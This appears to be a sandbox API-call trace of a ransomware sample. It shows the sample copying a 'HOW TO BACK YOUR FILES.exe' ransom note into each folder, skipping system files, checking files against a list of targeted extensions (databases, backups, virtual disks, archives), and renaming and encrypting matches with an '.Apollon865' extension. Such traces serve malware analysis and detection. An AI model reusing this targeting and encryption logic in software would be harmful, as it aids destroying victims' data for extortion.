	[0044.441] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328f3ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.441] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.441] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="Apollon865.txt.exe") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2=".") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="..") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="windows") returned -1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="bootmgr") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="temp") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="pagefile.sys") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="boot") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="ids.txt") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="ntuser.dat") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="perflogs") returned 1
	[0044.441] lstrcmpiW (lpString1="updates", lpString2="MSBuild") returned 1
	[0044.441] lstrlenW (lpString="updates") returned 7
	[0044.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned 59
	[0044.441] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="updates" | out: lpString1="updates") returned="updates"
	[0044.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591740
	[0044.442] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.442] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0
	[0044.442] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.442] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.442] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates"
	[0044.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0044.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned 59
	[0044.442] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates"
	[0044.442] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.442] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.455] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.455] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328f3ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.455] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.455] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.455] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.455] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328f3ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.455] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.455] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.455] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.455] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.455] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="Apollon865.txt.exe") returned 1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2=".") returned 1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="..") returned 1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="windows") returned -1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="bootmgr") returned 1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="temp") returned -1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="pagefile.sys") returned -1
	[0044.455] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="boot") returned 1
	[0044.456] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="ids.txt") returned -1
	[0044.456] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="ntuser.dat") returned -1
	[0044.456] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="perflogs") returned -1
	[0044.456] lstrcmpiW (lpString1="E7CF176E110C211B", lpString2="MSBuild") returned -1
	[0044.456] lstrlenW (lpString="E7CF176E110C211B") returned 16
	[0044.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*") returned 61
	[0044.456] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="E7CF176E110C211B" | out: lpString1="E7CF176E110C211B") returned="E7CF176E110C211B"
	[0044.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599d28
	[0044.456] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.456] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328f3ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.456] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.456] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328f3ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.456] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.456] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.456] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B"
	[0044.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0044.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned 76
	[0044.456] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B"
	[0044.456] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.456] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.533] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.533] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x329402b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x329402b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.533] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.533] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.533] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.533] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x329402b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x329402b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.534] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.534] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.534] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.534] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.534] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="active-update.xml", cAlternateFileName="ACTIVE~1.XML")) returned 1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="Apollon865.txt.exe") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2=".") returned 1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="..") returned 1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="windows") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="bootmgr") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="temp") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="pagefile.sys") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="boot") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="ids.txt") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="ntuser.dat") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="perflogs") returned -1
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2="MSBuild") returned -1
	[0044.534] lstrlenW (lpString="active-update.xml") returned 17
	[0044.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*") returned 78
	[0044.534] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="active-update.xml" | out: lpString1="active-update.xml") returned="active-update.xml"
	[0044.534] lstrlenW (lpString="active-update.xml") returned 17
	[0044.534] lstrlenW (lpString="Apollon865") returned 10
	[0044.534] lstrcmpiW (lpString1="update.xml", lpString2="Apollon865") returned 1
	[0044.534] lstrlenW (lpString=".dll") returned 4
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2=".dll") returned 1
	[0044.534] lstrlenW (lpString=".lnk") returned 4
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2=".lnk") returned 1
	[0044.534] lstrlenW (lpString=".ini") returned 4
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2=".ini") returned 1
	[0044.534] lstrlenW (lpString=".sys") returned 4
	[0044.534] lstrcmpiW (lpString1="active-update.xml", lpString2=".sys") returned 1
	[0044.534] lstrlenW (lpString="active-update.xml") returned 17
	[0044.534] lstrlenW (lpString="bak") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0044.535] lstrlenW (lpString="ba_") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0044.535] lstrlenW (lpString="dbb") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0044.535] lstrlenW (lpString="vmdk") returned 4
	[0044.535] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0044.535] lstrlenW (lpString="rar") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0044.535] lstrlenW (lpString="zip") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0044.535] lstrlenW (lpString="tgz") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0044.535] lstrlenW (lpString="vbox") returned 4
	[0044.535] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0044.535] lstrlenW (lpString="vdi") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0044.535] lstrlenW (lpString="vhd") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0044.535] lstrlenW (lpString="vhdx") returned 4
	[0044.535] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0044.535] lstrlenW (lpString="avhd") returned 4
	[0044.535] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0044.535] lstrlenW (lpString="db") returned 2
	[0044.535] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0044.535] lstrlenW (lpString="db2") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0044.535] lstrlenW (lpString="db3") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0044.535] lstrlenW (lpString="dbf") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0044.535] lstrlenW (lpString="mdf") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0044.535] lstrlenW (lpString="mdb") returned 3
	[0044.535] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0044.536] lstrlenW (lpString="sql") returned 3
	[0044.536] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0044.536] lstrlenW (lpString="sqlite") returned 6
	[0044.536] lstrcmpiW (lpString1="te.xml", lpString2="sqlite") returned 1
	[0044.536] lstrlenW (lpString="sqlite3") returned 7
	[0044.536] lstrcmpiW (lpString1="ate.xml", lpString2="sqlite3") returned -1
	[0044.536] lstrlenW (lpString="sqlitedb") returned 8
	[0044.536] lstrcmpiW (lpString1="date.xml", lpString2="sqlitedb") returned -1
	[0044.536] lstrlenW (lpString="xml") returned 3
	[0044.536] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0044.536] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.Apollon865") returned 105
	[0044.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.apollon865"), dwFlags=0x1) returned 1
	[0044.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0044.537] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1124) returned 1
	[0044.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0044.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0044.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0044.538] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0044.539] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.539] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.539] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x770, lpName=0x0) returned 0x150
	[0044.540] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x770) returned 0x120000
	[0044.544] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0044.545] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.545] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0044.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.545] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0044.545] CloseHandle (hObject=0x150) returned 1
	[0044.545] CloseHandle (hObject=0x15c) returned 1
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0044.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0044.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0044.546] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x329402b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x329402b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.546] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.546] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="Apollon865.txt.exe") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2=".") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="..") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="windows") returned -1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="bootmgr") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="temp") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="pagefile.sys") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="boot") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="ids.txt") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="ntuser.dat") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="perflogs") returned 1
	[0044.546] lstrcmpiW (lpString1="updates", lpString2="MSBuild") returned 1
